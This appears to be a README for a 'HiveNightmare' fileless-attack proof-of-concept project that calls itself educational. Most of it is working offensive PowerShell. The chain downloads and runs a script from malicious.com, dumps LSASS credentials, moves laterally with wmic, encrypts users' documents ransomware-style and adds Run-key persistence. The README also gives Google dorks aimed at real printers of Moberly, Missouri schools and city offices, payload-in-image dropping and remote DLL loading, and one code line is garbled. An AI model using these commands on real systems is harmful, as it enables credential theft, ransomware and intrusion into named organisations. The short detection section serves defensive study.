HiveNightmare 'Fileless' Exploit PoC:

Table of Contents

• Overview
• Features
• Lab Simulation Example
• Reconnaissance with Google Dorks
• LOLBins Overview
• Fileless Dropper Embedding
• Exploiting Print Spooler & HiveNightmare
• Reflective DLL Injection
• MITRE ATT&CK Mapping
• Detection & Mitigation
• Legal Disclaimer
• References & Further Reading

Overview

CVE-2021-36934/HiveNightmare is an educational red/purple team research project that simulates a fileless malware attack framework on Windows 11. It enables the emulation of real-world adversary kill chains using MITRE ATT&CK techniques, with a focus on stealthy, fileless operations.

Warning: For research and training in isolated labs only. Do not use on production or unauthorized systems.

Features

• Simulates end-to-end fileless ransomware/wiperware attacks
• Demonstrates use of Living Off the Land Binaries (LOLBins)
• Showcases credential access, privilege escalation, lateral movement, and persistence
• Contains practical lab and reconnaissance examples
• Maps to MITRE ATT&CK for blue team detection exercises

Lab Simulation Example

The following PowerShell simulation demonstrates a typical fileless ransomware attack chain using built-in Windows tools (LOLBins):

# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")

# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]") 
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/main/:Load($bytes)

# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs

# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"

# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
  $data = Get-Content $file.FullName -Raw
  $aes = New-Object System.Security.Cryptography.AesManaged
  $aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
  $aes.IV = New-Object byte[] 16
  $enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
  Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}

# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"

Reconnaissance with Google Dorks

Example Objective: Identify publicly exposed printer services in Moberly, Missouri, potentially vulnerable to exploits like PrintNightmare.

Sample Google Dork Queries:

inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"

LOLBins Overview

Living Off the Land Binaries (LOLBins) are legitimate, trusted Windows binaries commonly abused by adversaries to bypass security controls and run malicious code filelessly.

Example Use (Print Service Attack):

rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry

Attackers use LOLBins like rundll32.exe, regsvr32.exe, and powershell.exe to execute payloads from network shares, often after identifying exposed printers or servers via reconnaissance.

Fileless Dropper Embedding

Goal: Deliver payloads covertly by embedding archives within images and extracting them using native tools.

Steps:

1. Embed Payload:

   root@kitploit:~

   copy /b nsfw.jpg + payload.7z nsfw.jpg
   

2. Extract & Decode:

   root@kitploit:~

   certutil -decode nsfw.jpg dropper.7z
   7z x dropper.7z -oC:\Users\Public\
   

This method bypasses traditional file extension filtering and leverages built-in tools for evasive delivery.

Reflective DLL Injection

Technique: Load and execute a malicious DLL directly in memory using reflective loading.

Example:

rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry

This enables stealthy, in-memory execution without leaving artifacts on disk.

MITRE ATT&CK Mapping

Detection & Mitigation

Detection

• Sysmon + Sigma Rules:

  • Monitor rundll32.exe loading non-system DLLs
  • Watch for abnormal use of certutil.exe, regsvr32.exe, mshta.exe
  • Track shadow volume access by non-admins

• SIEM Examples (ELK/Splunk):

  • Alerts on execution from public shares
  • Parent/child process anomalies (e.g., explorer.exe spawning rundll32.exe)
  • Suspicious encoded commands in PowerShell or CMD

Mitigation

• Disable Print Spooler where not needed:
  root@kitploit:~

  Stop-Service -Name Spooler -Force
  Set-Service -Name Spooler -StartupType Disabled
  

• Apply all security patches and harden ACLs
• Block or restrict LOLBins with AppLocker or WDAC
• Use EDR solutions that detect reflective DLL loading and in-memory attacks

Legal Disclaimer

All content, code, and techniques in this repository are for educational and authorized penetration testing only. Do not use any part of this project outside of controlled, isolated environments and without explicit permission. The authors assume no liability for misuse.

References & Further Reading

• LOLOL Farm – LOLBin Playground
• LOLGEN – Generate LOLBin Chains
• Detecting SeriousSam
• DLL Injection Primer
• Print Spooler Exploit Chain
• Fileless Malware – Wikipedia
• PrintSpoofer (Original)
• HiveNightmare
• Mitre Attck T1055
• Hivenightmare demo

Stay safe, research responsibly, and always use in a legal and ethical manner.